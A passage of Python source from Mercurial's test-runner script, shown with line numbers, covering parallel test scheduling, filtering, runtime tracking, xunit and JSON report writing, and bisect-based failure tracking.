2305 | 2305 | Returns the relevant test result |
|
2306 | 2306 | """ |
|
2307 | 2307 | if "CUSTOM_TEST_RESULT" in os.environ: |
|
2308 | 2308 | testresultmodule = __import__(os.environ["CUSTOM_TEST_RESULT"]) |
|
2309 | 2309 | return testresultmodule.TestResult |
|
2310 | 2310 | else: |
|
2311 | 2311 | return TestResult |
|
2312 | 2312 | |
|
2313 | 2313 | |
|
2314 | 2314 | class TestSuite(unittest.TestSuite): |
|
2315 | 2315 | """Custom unittest TestSuite that knows how to execute Mercurial tests.""" |
|
2316 | 2316 | |
|
2317 | 2317 | def __init__( |
|
2318 | 2318 | self, |
|
2319 | 2319 | testdir, |
|
2320 | 2320 | jobs=1, |
|
2321 | 2321 | whitelist=None, |
|
2322 | 2322 | blacklist=None, |
|
2323 | 2323 | retest=False, |
|
2324 | 2324 | keywords=None, |
|
2325 | 2325 | loop=False, |
|
2326 | 2326 | runs_per_test=1, |
|
2327 | 2327 | loadtest=None, |
|
2328 | 2328 | showchannels=False, |
|
2329 | 2329 | *args, |
|
2330 | 2330 | **kwargs |
|
2331 | 2331 | ): |
|
2332 | 2332 | """Create a new instance that can run tests with a configuration. |
|
2333 | 2333 | |
|
2334 | 2334 | testdir specifies the directory where tests are executed from. This |
|
2335 | 2335 | is typically the ``tests`` directory from Mercurial's source |
|
2336 | 2336 | repository. |
|
2337 | 2337 | |
|
2338 | 2338 | jobs specifies the number of jobs to run concurrently. Each test |
|
2339 | 2339 | executes on its own thread. Tests actually spawn new processes, so |
|
2340 | 2340 | state mutation should not be an issue. |
|
2341 | 2341 | |
|
2342 | 2342 | If there is only one job, it will use the main thread. |
|
2343 | 2343 | |
|
2344 | 2344 | whitelist and blacklist denote tests that have been whitelisted and |
|
2345 | 2345 | blacklisted, respectively. These arguments don't belong in TestSuite. |
|
2346 | 2346 | Instead, whitelist and blacklist should be handled by the thing that |
|
2347 | 2347 | populates the TestSuite with tests. They are present to preserve |
|
2348 | 2348 | backwards compatible behavior which reports skipped tests as part |
|
2349 | 2349 | of the results. |
|
2350 | 2350 | |
|
2351 | 2351 | retest denotes whether to retest failed tests. This arguably belongs |
|
2352 | 2352 | outside of TestSuite. |
|
2353 | 2353 | |
|
2354 | 2354 | keywords denotes key words that will be used to filter which tests |
|
2355 | 2355 | to execute. This arguably belongs outside of TestSuite. |
|
2356 | 2356 | |
|
2357 | 2357 | loop denotes whether to loop over tests forever. |
|
2358 | 2358 | """ |
|
2359 | 2359 | super(TestSuite, self).__init__(*args, **kwargs) |
|
2360 | 2360 | |
|
2361 | 2361 | self._jobs = jobs |
|
2362 | 2362 | self._whitelist = whitelist |
|
2363 | 2363 | self._blacklist = blacklist |
|
2364 | 2364 | self._retest = retest |
|
2365 | 2365 | self._keywords = keywords |
|
2366 | 2366 | self._loop = loop |
|
2367 | 2367 | self._runs_per_test = runs_per_test |
|
2368 | 2368 | self._loadtest = loadtest |
|
2369 | 2369 | self._showchannels = showchannels |
|
2370 | 2370 | |
|
2371 | 2371 | def run(self, result): |
|
2372 | 2372 | # We have a number of filters that need to be applied. We do this |
|
2373 | 2373 | # here instead of inside Test because it makes the running logic for |
|
2374 | 2374 | # Test simpler. |
|
2375 | 2375 | tests = [] |
|
2376 | 2376 | num_tests = [0] |
|
2377 | 2377 | for test in self._tests: |
|
2378 | 2378 | |
|
2379 | 2379 | def get(): |
|
2380 | 2380 | num_tests[0] += 1 |
|
2381 | 2381 | if getattr(test, 'should_reload', False): |
|
2382 | 2382 | return self._loadtest(test, num_tests[0]) |
|
2383 | 2383 | return test |
|
2384 | 2384 | |
|
2385 | 2385 | if not os.path.exists(test.path): |
|
2386 | 2386 | result.addSkip(test, "Doesn't exist") |
|
2387 | 2387 | continue |
|
2388 | 2388 | |
|
2389 | 2389 | if not (self._whitelist and test.bname in self._whitelist): |
|
2390 | 2390 | if self._blacklist and test.bname in self._blacklist: |
|
2391 | 2391 | result.addSkip(test, 'blacklisted') |
|
2392 | 2392 | continue |
|
2393 | 2393 | |
|
2394 | 2394 | if self._retest and not os.path.exists(test.errpath): |
|
2395 | 2395 | result.addIgnore(test, 'not retesting') |
|
2396 | 2396 | continue |
|
2397 | 2397 | |
|
2398 | 2398 | if self._keywords: |
|
2399 | 2399 | with open(test.path, 'rb') as f: |
|
2400 | 2400 | t = f.read().lower() + test.bname.lower() |
|
2401 | 2401 | ignored = False |
|
2402 | 2402 | for k in self._keywords.lower().split(): |
|
2403 | 2403 | if k not in t: |
|
2404 | 2404 | result.addIgnore(test, "doesn't match keyword") |
|
2405 | 2405 | ignored = True |
|
2406 | 2406 | break |
|
2407 | 2407 | |
|
2408 | 2408 | if ignored: |
|
2409 | 2409 | continue |
|
2410 | 2410 | for _ in xrange(self._runs_per_test): |
|
2411 | 2411 | tests.append(get()) |
|
2412 | 2412 | |
|
2413 | 2413 | runtests = list(tests) |
|
2414 | 2414 | done = queue.Queue() |
|
2415 | 2415 | running = 0 |
|
2416 | 2416 | |
|
2417 | 2417 | channels = [""] * self._jobs |
|
2418 | 2418 | |
|
2419 | 2419 | def job(test, result): |
|
2420 | 2420 | for n, v in enumerate(channels): |
|
2421 | 2421 | if not v: |
|
2422 | 2422 | channel = n |
|
2423 | 2423 | break |
|
2424 | 2424 | else: |
|
2425 | 2425 | raise ValueError('Could not find output channel') |
|
2426 | 2426 | channels[channel] = "=" + test.name[5:].split(".")[0] |
|
2427 | 2427 | try: |
|
2428 | 2428 | test(result) |
|
2429 | 2429 | done.put(None) |
|
2430 | 2430 | except KeyboardInterrupt: |
|
2431 | 2431 | pass |
|
2432 | 2432 | except: # re-raises |
|
2433 | 2433 | done.put(('!', test, 'run-test raised an error, see traceback')) |
|
2434 | 2434 | raise |
|
2435 | 2435 | finally: |
|
2436 | 2436 | try: |
|
2437 | 2437 | channels[channel] = '' |
|
2438 | 2438 | except IndexError: |
|
2439 | 2439 | pass |
|
2440 | 2440 | |
|
2441 | 2441 | def stat(): |
|
2442 | 2442 | count = 0 |
|
2443 | 2443 | while channels: |
|
2444 | 2444 | d = '\n%03s ' % count |
|
2445 | 2445 | for n, v in enumerate(channels): |
|
2446 | 2446 | if v: |
|
2447 | 2447 | d += v[0] |
|
2448 | 2448 | channels[n] = v[1:] or '.' |
|
2449 | 2449 | else: |
|
2450 | 2450 | d += ' ' |
|
2451 | 2451 | d += ' ' |
|
2452 | 2452 | with iolock: |
|
2453 | 2453 | sys.stdout.write(d + ' ') |
|
2454 | 2454 | sys.stdout.flush() |
|
2455 | 2455 | for x in xrange(10): |
|
2456 | 2456 | if channels: |
|
2457 | 2457 | time.sleep(0.1) |
|
2458 | 2458 | count += 1 |
|
2459 | 2459 | |
|
2460 | 2460 | stoppedearly = False |
|
2461 | 2461 | |
|
2462 | 2462 | if self._showchannels: |
|
2463 | 2463 | statthread = threading.Thread(target=stat, name="stat") |
|
2464 | 2464 | statthread.start() |
|
2465 | 2465 | |
|
2466 | 2466 | try: |
|
2467 | 2467 | while tests or running: |
|
2468 | 2468 | if not done.empty() or running == self._jobs or not tests: |
|
2469 | 2469 | try: |
|
2470 | 2470 | done.get(True, 1) |
|
2471 | 2471 | running -= 1 |
|
2472 | 2472 | if result and result.shouldStop: |
|
2473 | 2473 | stoppedearly = True |
|
2474 | 2474 | break |
|
2475 | 2475 | except queue.Empty: |
|
2476 | 2476 | continue |
|
2477 | 2477 | if tests and not running == self._jobs: |
|
2478 | 2478 | test = tests.pop(0) |
|
2479 | 2479 | if self._loop: |
|
2480 | 2480 | if getattr(test, 'should_reload', False): |
|
2481 | 2481 | num_tests[0] += 1 |
|
2482 | 2482 | tests.append(self._loadtest(test, num_tests[0])) |
|
2483 | 2483 | else: |
|
2484 | 2484 | tests.append(test) |
|
2485 | 2485 | if self._jobs == 1: |
|
2486 | 2486 | job(test, result) |
|
2487 | 2487 | else: |
|
2488 | 2488 | t = threading.Thread( |
|
2489 | 2489 | target=job, name=test.name, args=(test, result) |
|
2490 | 2490 | ) |
|
2491 | 2491 | t.start() |
|
2492 | 2492 | running += 1 |
|
2493 | 2493 | |
|
2494 | 2494 | # If we stop early we still need to wait on started tests to |
|
2495 | 2495 | # finish. Otherwise, there is a race between the test completing |
|
2496 | 2496 | # and the test's cleanup code running. This could result in the |
|
2497 | 2497 | # test reporting incorrect. |
|
2498 | 2498 | if stoppedearly: |
|
2499 | 2499 | while running: |
|
2500 | 2500 | try: |
|
2501 | 2501 | done.get(True, 1) |
|
2502 | 2502 | running -= 1 |
|
2503 | 2503 | except queue.Empty: |
|
2504 | 2504 | continue |
|
2505 | 2505 | except KeyboardInterrupt: |
|
2506 | 2506 | for test in runtests: |
|
2507 | 2507 | test.abort() |
|
2508 | 2508 | |
|
2509 | 2509 | channels = [] |
|
2510 | 2510 | |
|
2511 | 2511 | return result |
|
2512 | 2512 | |
|
2513 | 2513 | |
|
2514 | 2514 | # Save the most recent 5 wall-clock runtimes of each test to a |
|
2515 | 2515 | # human-readable text file named .testtimes. Tests are sorted |
|
2516 | 2516 | # alphabetically, while times for each test are listed from oldest to |
|
2517 | 2517 | # newest. |
|
2518 | 2518 | |
|
2519 | 2519 | |
|
2520 | 2520 | def loadtimes(outputdir): |
|
2521 | 2521 | times = [] |
|
2522 | 2522 | try: |
|
2523 | 2523 | with open(os.path.join(outputdir, b'.testtimes')) as fp: |
|
2524 | 2524 | for line in fp: |
|
2525 | 2525 | m = re.match('(.*?) ([0-9. ]+)', line) |
|
2526 | 2526 | times.append( |
|
2527 | 2527 | (m.group(1), [float(t) for t in m.group(2).split()]) |
|
2528 | 2528 | ) |
|
2529 | 2529 | except IOError as err: |
|
2530 | 2530 | if err.errno != errno.ENOENT: |
|
2531 | 2531 | raise |
|
2532 | 2532 | return times |
|
2533 | 2533 | |
|
2534 | 2534 | |
|
2535 | 2535 | def savetimes(outputdir, result): |
|
2536 | 2536 | saved = dict(loadtimes(outputdir)) |
|
2537 | 2537 | maxruns = 5 |
|
2538 | 2538 | skipped = set([str(t[0]) for t in result.skipped]) |
|
2539 | 2539 | for tdata in result.times: |
|
2540 | 2540 | test, real = tdata[0], tdata[3] |
|
2541 | 2541 | if test not in skipped: |
|
2542 | 2542 | ts = saved.setdefault(test, []) |
|
2543 | 2543 | ts.append(real) |
|
2544 | 2544 | ts[:] = ts[-maxruns:] |
|
2545 | 2545 | |
|
2546 | 2546 | fd, tmpname = tempfile.mkstemp( |
|
2547 | 2547 | prefix=b'.testtimes', dir=outputdir, text=True |
|
2548 | 2548 | ) |
|
2549 | 2549 | with os.fdopen(fd, 'w') as fp: |
|
2550 | 2550 | for name, ts in sorted(saved.items()): |
|
2551 | 2551 | fp.write('%s %s\n' % (name, ' '.join(['%.3f' % (t,) for t in ts]))) |
|
2552 | 2552 | timepath = os.path.join(outputdir, b'.testtimes') |
|
2553 | 2553 | try: |
|
2554 | 2554 | os.unlink(timepath) |
|
2555 | 2555 | except OSError: |
|
2556 | 2556 | pass |
|
2557 | 2557 | try: |
|
2558 | 2558 | os.rename(tmpname, timepath) |
|
2559 | 2559 | except OSError: |
|
2560 | 2560 | pass |
|
2561 | 2561 | |
|
2562 | 2562 | |
|
2563 | 2563 | class TextTestRunner(unittest.TextTestRunner): |
|
2564 | 2564 | """Custom unittest test runner that uses appropriate settings.""" |
|
2565 | 2565 | |
|
2566 | 2566 | def __init__(self, runner, *args, **kwargs): |
|
2567 | 2567 | super(TextTestRunner, self).__init__(*args, **kwargs) |
|
2568 | 2568 | |
|
2569 | 2569 | self._runner = runner |
|
2570 | 2570 | |
|
2571 | 2571 | self._result = getTestResult()( |
|
2572 | 2572 | self._runner.options, self.stream, self.descriptions, self.verbosity |
|
2573 | 2573 | ) |
|
2574 | 2574 | |
|
2575 | 2575 | def listtests(self, test): |
|
2576 | 2576 | test = sorted(test, key=lambda t: t.name) |
|
2577 | 2577 | |
|
2578 | 2578 | self._result.onStart(test) |
|
2579 | 2579 | |
|
2580 | 2580 | for t in test: |
|
2581 | 2581 | print(t.name) |
|
2582 | 2582 | self._result.addSuccess(t) |
|
2583 | 2583 | |
|
2584 | 2584 | if self._runner.options.xunit: |
|
2585 | 2585 | with open(self._runner.options.xunit, "wb") as xuf: |
|
2586 | 2586 | self._writexunit(self._result, xuf) |
|
2587 | 2587 | |
|
2588 | 2588 | if self._runner.options.json: |
|
2589 | 2589 | jsonpath = os.path.join(self._runner._outputdir, b'report.json') |
|
2590 | 2590 | with open(jsonpath, 'w') as fp: |
|
2591 | 2591 | self._writejson(self._result, fp) |
|
2592 | 2592 | |
|
2593 | 2593 | return self._result |
|
2594 | 2594 | |
|
2595 | 2595 | def run(self, test): |
|
2596 | 2596 | self._result.onStart(test) |
|
2597 | 2597 | test(self._result) |
|
2598 | 2598 | |
|
2599 | 2599 | failed = len(self._result.failures) |
|
2600 | 2600 | skipped = len(self._result.skipped) |
|
2601 | 2601 | ignored = len(self._result.ignored) |
|
2602 | 2602 | |
|
2603 | 2603 | with iolock: |
|
2604 | 2604 | self.stream.writeln('') |
|
2605 | 2605 | |
|
2606 | 2606 | if not self._runner.options.noskips: |
|
2607 | 2607 | for test, msg in sorted( |
|
2608 | 2608 | self._result.skipped, key=lambda s: s[0].name |
|
2609 | 2609 | ): |
|
2610 | 2610 | formatted = 'Skipped %s: %s\n' % (test.name, msg) |
|
2611 | 2611 | msg = highlightmsg(formatted, self._result.color) |
|
2612 | 2612 | self.stream.write(msg) |
|
2613 | 2613 | for test, msg in sorted( |
|
2614 | 2614 | self._result.failures, key=lambda f: f[0].name |
|
2615 | 2615 | ): |
|
2616 | 2616 | formatted = 'Failed %s: %s\n' % (test.name, msg) |
|
2617 | 2617 | self.stream.write(highlightmsg(formatted, self._result.color)) |
|
2618 | 2618 | for test, msg in sorted( |
|
2619 | 2619 | self._result.errors, key=lambda e: e[0].name |
|
2620 | 2620 | ): |
|
2621 | 2621 | self.stream.writeln('Errored %s: %s' % (test.name, msg)) |
|
2622 | 2622 | |
|
2623 | 2623 | if self._runner.options.xunit: |
|
2624 | 2624 | with open(self._runner.options.xunit, "wb") as xuf: |
|
2625 | 2625 | self._writexunit(self._result, xuf) |
|
2626 | 2626 | |
|
2627 | 2627 | if self._runner.options.json: |
|
2628 | 2628 | jsonpath = os.path.join(self._runner._outputdir, b'report.json') |
|
2629 | 2629 | with open(jsonpath, 'w') as fp: |
|
2630 | 2630 | self._writejson(self._result, fp) |
|
2631 | 2631 | |
|
2632 | 2632 | self._runner._checkhglib('Tested') |
|
2633 | 2633 | |
|
2634 | 2634 | savetimes(self._runner._outputdir, self._result) |
|
2635 | 2635 | |
|
2636 | 2636 | if failed and self._runner.options.known_good_rev: |
|
2637 | 2637 | self._bisecttests(t for t, m in self._result.failures) |
|
2638 | 2638 | self.stream.writeln( |
|
2639 | 2639 | '# Ran %d tests, %d skipped, %d failed.' |
|
2640 | 2640 | % (self._result.testsRun, skipped + ignored, failed) |
|
2641 | 2641 | ) |
|
2642 | 2642 | if failed: |
|
2643 | 2643 | self.stream.writeln( |
|
2644 | 2644 | 'python hash seed: %s' % os.environ['PYTHONHASHSEED'] |
|
2645 | 2645 | ) |
|
2646 | 2646 | if self._runner.options.time: |
|
2647 | 2647 | self.printtimes(self._result.times) |
|
2648 | 2648 | |
|
2649 | 2649 | if self._runner.options.exceptions: |
|
2650 | 2650 | exceptions = aggregateexceptions( |
|
2651 | 2651 | os.path.join(self._runner._outputdir, b'exceptions') |
|
2652 | 2652 | ) |
|
2653 | 2653 | |
|
2654 | 2654 | self.stream.writeln('Exceptions Report:') |
|
2655 | 2655 | self.stream.writeln( |
|
2656 | 2656 | '%d total from %d frames' |
|
2657 | 2657 | % (exceptions['total'], len(exceptions['exceptioncounts'])) |
|
2658 | 2658 | ) |
|
2659 | 2659 | combined = exceptions['combined'] |
|
2660 | 2660 | for key in sorted(combined, key=combined.get, reverse=True): |
|
2661 | 2661 | frame, line, exc = key |
|
2662 | 2662 | totalcount, testcount, leastcount, leasttest = combined[key] |
|
2663 | 2663 | |
|
2664 | 2664 | self.stream.writeln( |
|
2665 | 2665 | '%d (%d tests)\t%s: %s (%s - %d total)' |
|
2666 | 2666 | % ( |
|
2667 | 2667 | totalcount, |
|
2668 | 2668 | testcount, |
|
2669 | 2669 | frame, |
|
2670 | 2670 | exc, |
|
2671 | 2671 | leasttest, |
|
2672 | 2672 | leastcount, |
|
2673 | 2673 | ) |
|
2674 | 2674 | ) |
|
2675 | 2675 | |
|
2676 | 2676 | self.stream.flush() |
|
2677 | 2677 | |
|
2678 | 2678 | return self._result |
|
2679 | 2679 | |
|
2680 | 2680 | def _bisecttests(self, tests): |
|
2681 | 2681 | bisectcmd = ['hg', 'bisect'] |
|
2682 | 2682 | bisectrepo = self._runner.options.bisect_repo |
|
2683 | 2683 | if bisectrepo: |
|
2684 | 2684 | bisectcmd.extend(['-R', os.path.abspath(bisectrepo)]) |
|
2685 | 2685 | |
|
2686 | 2686 | def pread(args): |
|
2687 | 2687 | env = os.environ.copy() |
|
2688 | 2688 | env['HGPLAIN'] = '1' |
|
2689 | 2689 | p = subprocess.Popen( |
|
2690 | 2690 | args, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, env=env |
|
2691 | 2691 | ) |
|
2692 | 2692 | data = p.stdout.read() |
|
2693 | 2693 | p.wait() |
|
2694 | 2694 | return data |
|
2695 | 2695 | |
|
2696 | 2696 | for test in tests: |
|
2697 | 2697 | pread(bisectcmd + ['--reset']), |
|
2698 | 2698 | pread(bisectcmd + ['--bad', '.']) |
|
2699 | 2699 | pread(bisectcmd + ['--good', self._runner.options.known_good_rev]) |
|
2700 | 2700 | # TODO: we probably need to forward more options |
|
2701 | 2701 | # that alter hg's behavior inside the tests. |
|
2702 | 2702 | opts = '' |
|
2703 | 2703 | withhg = self._runner.options.with_hg |
|
2704 | 2704 | if withhg: |
|
2705 | 2705 | opts += ' --with-hg=%s ' % shellquote(_strpath(withhg)) |
|
2706 | 2706 | rtc = '%s %s %s %s' % (sysexecutable, sys.argv[0], opts, test) |
|
2707 | 2707 | data = pread(bisectcmd + ['--command', rtc]) |
|
2708 | 2708 | m = re.search( |
|
2709 | 2709 | ( |
|
2710 | 2710 | br'\nThe first (?P<goodbad>bad|good) revision ' |
|
2711 | 2711 | br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n' |
|
2712 | 2712 | br'summary: +(?P<summary>[^\n]+)\n' |
|
2713 | 2713 | ), |
|
2714 | 2714 | data, |
|
2715 | 2715 | (re.MULTILINE | re.DOTALL), |
|
2716 | 2716 | ) |
|
2717 | 2717 | if m is None: |
|
2718 | 2718 | self.stream.writeln( |
|
2719 | 2719 | 'Failed to identify failure point for %s' % test |
|
2720 | 2720 | ) |
|
2721 | 2721 | continue |
|
2722 | 2722 | dat = m.groupdict() |
|
2723 | 2723 | verb = 'broken' if dat['goodbad'] == b'bad' else 'fixed' |
|
2724 | 2724 | self.stream.writeln( |
|
2725 | 2725 | '%s %s by %s (%s)' |
|
2726 | 2726 | % ( |
|
2727 | 2727 | test, |
|
2728 | 2728 | verb, |
|
2729 | 2729 | dat['node'].decode('ascii'), |
|
2730 | 2730 | dat['summary'].decode('utf8', 'ignore'), |
|
2731 | 2731 | ) |
|
2732 | 2732 | ) |
|
2733 | 2733 | |
|
2734 | 2734 | def printtimes(self, times): |
|
2735 | 2735 | # iolock held by run |
|
2736 | 2736 | self.stream.writeln('# Producing time report') |
|
2737 | 2737 | times.sort(key=lambda t: (t[3])) |
|
2738 | 2738 | cols = '%7.3f %7.3f %7.3f %7.3f %7.3f %s' |
|
2739 | 2739 | self.stream.writeln( |
|
2740 | 2740 | '%-7s %-7s %-7s %-7s %-7s %s' |
|
2741 | 2741 | % ('start', 'end', 'cuser', 'csys', 'real', 'Test') |
|
2742 | 2742 | ) |
|
2743 | 2743 | for tdata in times: |
|
2744 | 2744 | test = tdata[0] |
|
2745 | 2745 | cuser, csys, real, start, end = tdata[1:6] |
|
2746 | 2746 | self.stream.writeln(cols % (start, end, cuser, csys, real, test)) |
|
2747 | 2747 | |
|
2748 | 2748 | @staticmethod |
|
2749 | 2749 | def _writexunit(result, outf): |
|
2750 | 2750 | # See http://llg.cubic.org/docs/junit/ for a reference. |
|
2751 | 2751 | timesd = dict((t[0], t[3]) for t in result.times) |
|
2752 | 2752 | doc = minidom.Document() |
|
2753 | 2753 | s = doc.createElement('testsuite') |
|
2754 | 2754 | s.setAttribute('errors', "0") # TODO |
|
2755 | 2755 | s.setAttribute('failures', str(len(result.failures))) |
|
2756 | 2756 | s.setAttribute('name', 'run-tests') |
|
2757 | 2757 | s.setAttribute( |
|
2758 | 2758 | 'skipped', str(len(result.skipped) + len(result.ignored)) |
|
2759 | 2759 | ) |
|
2760 | 2760 | s.setAttribute('tests', str(result.testsRun)) |
|
2761 | 2761 | doc.appendChild(s) |
|
2762 | 2762 | for tc in result.successes: |
|
2763 | 2763 | t = doc.createElement('testcase') |
|
2764 | 2764 | t.setAttribute('name', tc.name) |
|
2765 | 2765 | tctime = timesd.get(tc.name) |
|
2766 | 2766 | if tctime is not None: |
|
2767 | 2767 | t.setAttribute('time', '%.3f' % tctime) |
|
2768 | 2768 | s.appendChild(t) |
|
2769 | 2769 | for tc, err in sorted(result.faildata.items()): |
|
2770 | 2770 | t = doc.createElement('testcase') |
|
2771 | 2771 | t.setAttribute('name', tc) |
|
2772 | 2772 | tctime = timesd.get(tc) |
|
2773 | 2773 | if tctime is not None: |
|
2774 | 2774 | t.setAttribute('time', '%.3f' % tctime) |
|
2775 | 2775 | # createCDATASection expects a unicode or it will |
|
2776 | 2776 | # convert using default conversion rules, which will |
|
2777 | 2777 | # fail if string isn't ASCII. |
|
2778 | 2778 | err = cdatasafe(err).decode('utf-8', 'replace') |
|
2779 | 2779 | cd = doc.createCDATASection(err) |
|
2780 | 2780 | # Use 'failure' here instead of 'error' to match errors = 0, |
|
2781 | 2781 | # failures = len(result.failures) in the testsuite element. |
|
2782 | 2782 | failelem = doc.createElement('failure') |
|
2783 | 2783 | failelem.setAttribute('message', 'output changed') |
|
2784 | 2784 | failelem.setAttribute('type', 'output-mismatch') |
|
2785 | 2785 | failelem.appendChild(cd) |
|
2786 | 2786 | t.appendChild(failelem) |
|
2787 | 2787 | s.appendChild(t) |
|
2788 | 2788 | for tc, message in result.skipped: |
|
2789 | 2789 | # According to the schema, 'skipped' has no attributes. So store |
|
2790 | 2790 | # the skip message as a text node instead. |
|
2791 | 2791 | t = doc.createElement('testcase') |
|
2792 | 2792 | t.setAttribute('name', tc.name) |
|
2793 | 2793 | binmessage = message.encode('utf-8') |
|
2794 | 2794 | message = cdatasafe(binmessage).decode('utf-8', 'replace') |
|
2795 | 2795 | cd = doc.createCDATASection(message) |
|
2796 | 2796 | skipelem = doc.createElement('skipped') |
|
2797 | 2797 | skipelem.appendChild(cd) |
|
2798 | 2798 | t.appendChild(skipelem) |
|
2799 | 2799 | s.appendChild(t) |
|
2800 | 2800 | outf.write(doc.toprettyxml(indent=' ', encoding='utf-8')) |
|
2801 | 2801 | |
|
2802 | 2802 | @staticmethod |
|
2803 | 2803 | def _writejson(result, outf): |
|
2804 | 2804 | timesd = {} |
|
2805 | 2805 | for tdata in result.times: |
|
2806 | 2806 | test = tdata[0] |
|
2807 | 2807 | timesd[test] = tdata[1:] |
|
2808 | 2808 | |
|
2809 | 2809 | outcome = {} |
|
2810 | 2810 | groups = [ |
|
2811 | 2811 | ('success', ((tc, None) for tc in result.successes)), |
|
2812 | 2812 | ('failure', result.failures), |
|
2813 | 2813 | ('skip', result.skipped), |
|
2814 | 2814 | ] |
|
2815 | 2815 | for res, testcases in groups: |
|
2816 | 2816 | for tc, __ in testcases: |
|
2817 | 2817 | if tc.name in timesd: |
|
2818 | 2818 | diff = result.faildata.get(tc.name, b'') |
|
2819 | 2819 | try: |
|
2820 | 2820 | diff = diff.decode('unicode_escape') |
|
2821 | 2821 | except UnicodeDecodeError as e: |
|
2822 | 2822 | diff = '%r decoding diff, sorry' % e |
|
2823 | 2823 | tres = { |
|
2824 | 2824 | 'result': res, |
|
2825 | 2825 | 'time': ('%0.3f' % timesd[tc.name][2]), |
|
2826 | 2826 | 'cuser': ('%0.3f' % timesd[tc.name][0]), |
|
2827 | 2827 | 'csys': ('%0.3f' % timesd[tc.name][1]), |
|
2828 | 2828 | 'start': ('%0.3f' % timesd[tc.name][3]), |
|
2829 | 2829 | 'end': ('%0.3f' % timesd[tc.name][4]), |
|
2830 | 2830 | 'diff': diff, |
|
2831 | 2831 | } |
|
2832 | 2832 | else: |
|
2833 | 2833 | # blacklisted test |
|
2834 | 2834 | tres = {'result': res} |
|
2835 | 2835 | |
|
2836 | 2836 | outcome[tc.name] = tres |
|
2837 | 2837 | jsonout = json.dumps( |
|
2838 | 2838 | outcome, sort_keys=True, indent=4, separators=(',', ': ') |
|
2839 | 2839 | ) |
|
2840 | 2840 | outf.writelines(("testreport =", jsonout)) |
|
2841 | 2841 | |
|
2842 | 2842 | |
|
2843 | 2843 | def sorttests(testdescs, previoustimes, shuffle=False): |
|
2844 | 2844 | """Do an in-place sort of tests.""" |
|
2845 | 2845 | if shuffle: |
|
2846 | 2846 | random.shuffle(testdescs) |
|
2847 | 2847 | return |
|
2848 | 2848 | |
|
2849 | 2849 | if previoustimes: |
|
2850 | 2850 | |
|
2851 | 2851 | def sortkey(f): |
|
2852 | 2852 | f = f['path'] |
|
2853 | 2853 | if f in previoustimes: |
|
2854 | 2854 | # Use most recent time as estimate |
|
2855 | 2855 | return -(previoustimes[f][-1]) |
|
2856 | 2856 | else: |
|
2857 | 2857 | # Default to a rather arbitrary value of 1 second for new tests |
|
2858 | 2858 | return -1.0 |
|
2859 | 2859 | |
|
2860 | 2860 | else: |
|
2861 | 2861 | # keywords for slow tests |
|
2862 | 2862 | slow = { |
|
2863 | 2863 | b'svn': 10, |
|
2864 | 2864 | b'cvs': 10, |
|
2865 | 2865 | b'hghave': 10, |
|
2866 | 2866 | b'largefiles-update': 10, |
|
2867 | 2867 | b'run-tests': 10, |
|
2868 | 2868 | b'corruption': 10, |
|
2869 | 2869 | b'race': 10, |
|
2870 | 2870 | b'i18n': 10, |
|
2871 | 2871 | b'check': 100, |
|
2872 | 2872 | b'gendoc': 100, |
|
2873 | 2873 | b'contrib-perf': 200, |
|
2874 | 2874 | b'merge-combination': 100, |
|
2875 | 2875 | } |
|
2876 | 2876 | perf = {} |
|
2877 | 2877 | |
|
2878 | 2878 | def sortkey(f): |
|
2879 | 2879 | # run largest tests first, as they tend to take the longest |
|
2880 | 2880 | f = f['path'] |
|
2881 | 2881 | try: |
|
2882 | 2882 | return perf[f] |
|
2883 | 2883 | except KeyError: |
|
2884 | 2884 | try: |
|
2885 | 2885 | val = -os.stat(f).st_size |
|
2886 | 2886 | except OSError as e: |
|
2887 | 2887 | if e.errno != errno.ENOENT: |
|
2888 | 2888 | raise |
|
2889 | 2889 | perf[f] = -1e9 # file does not exist, tell early |
|
2890 | 2890 | return -1e9 |
|
2891 | 2891 | for kw, mul in slow.items(): |
|
2892 | 2892 | if kw in f: |
|
2893 | 2893 | val *= mul |
|
2894 | 2894 | if f.endswith(b'.py'): |
|
2895 | 2895 | val /= 10.0 |
|
2896 | 2896 | perf[f] = val / 1000.0 |
|
2897 | 2897 | return perf[f] |
|
2898 | 2898 | |
|
2899 | 2899 | testdescs.sort(key=sortkey) |
|
2900 | 2900 | |
|
2901 | 2901 | |
|
2902 | 2902 | class TestRunner(object): |
|
2903 | 2903 | """Holds context for executing tests. |
|
2904 | 2904 | |
|
2905 | 2905 | Tests rely on a lot of state. This object holds it for them. |
|
2906 | 2906 | """ |
|
2907 | 2907 | |
|
2908 | 2908 | # Programs required to run tests. |
|
2909 | 2909 | REQUIREDTOOLS = [ |
|
2910 | 2910 | b'diff', |
|
2911 | 2911 | b'grep', |
|
2912 | 2912 | b'unzip', |
|
2913 | 2913 | b'gunzip', |
|
2914 | 2914 | b'bunzip2', |
|
2915 | 2915 | b'sed', |
|
2916 | 2916 | ] |
|
2917 | 2917 | |
|
2918 | 2918 | # Maps file extensions to test class. |
|
2919 | 2919 | TESTTYPES = [ |
|
2920 | 2920 | (b'.py', PythonTest), |
|
2921 | 2921 | (b'.t', TTest), |
|
2922 | 2922 | ] |
|
2923 | 2923 | |
|
2924 | 2924 | def __init__(self): |
|
2925 | 2925 | self.options = None |
|
2926 | 2926 | self._hgroot = None |
|
2927 | 2927 | self._testdir = None |
|
2928 | 2928 | self._outputdir = None |
|
2929 | 2929 | self._hgtmp = None |
|
2930 | 2930 | self._installdir = None |
|
2931 | 2931 | self._bindir = None |
|
2932 | 2932 | self._tmpbinddir = None |
|
2933 | 2933 | self._pythondir = None |
|
2934 | 2934 | self._coveragefile = None |
|
2935 | 2935 | self._createdfiles = [] |
|
2936 | 2936 | self._hgcommand = None |
|
2937 | 2937 | self._hgpath = None |
|
2938 | 2938 | self._portoffset = 0 |
|
2939 | 2939 | self._ports = {} |
|
2940 | 2940 | |
|
2941 | 2941 | def run(self, args, parser=None): |
|
2942 | 2942 | """Run the test suite.""" |
|
2943 | 2943 | oldmask = os.umask(0o22) |
|
2944 | 2944 | try: |
|
2945 | 2945 | parser = parser or getparser() |
|
2946 | 2946 | options = parseargs(args, parser) |
|
2947 | 2947 | tests = [_bytespath(a) for a in options.tests] |
|
2948 | 2948 | if options.test_list is not None: |
|
2949 | 2949 | for listfile in options.test_list: |
|
2950 | 2950 | with open(listfile, 'rb') as f: |
|
2951 | 2951 | tests.extend(t for t in f.read().splitlines() if t) |
|
2952 | 2952 | self.options = options |
|
2953 | 2953 | |
|
2954 | 2954 | self._checktools() |
|
2955 | 2955 | testdescs = self.findtests(tests) |
|
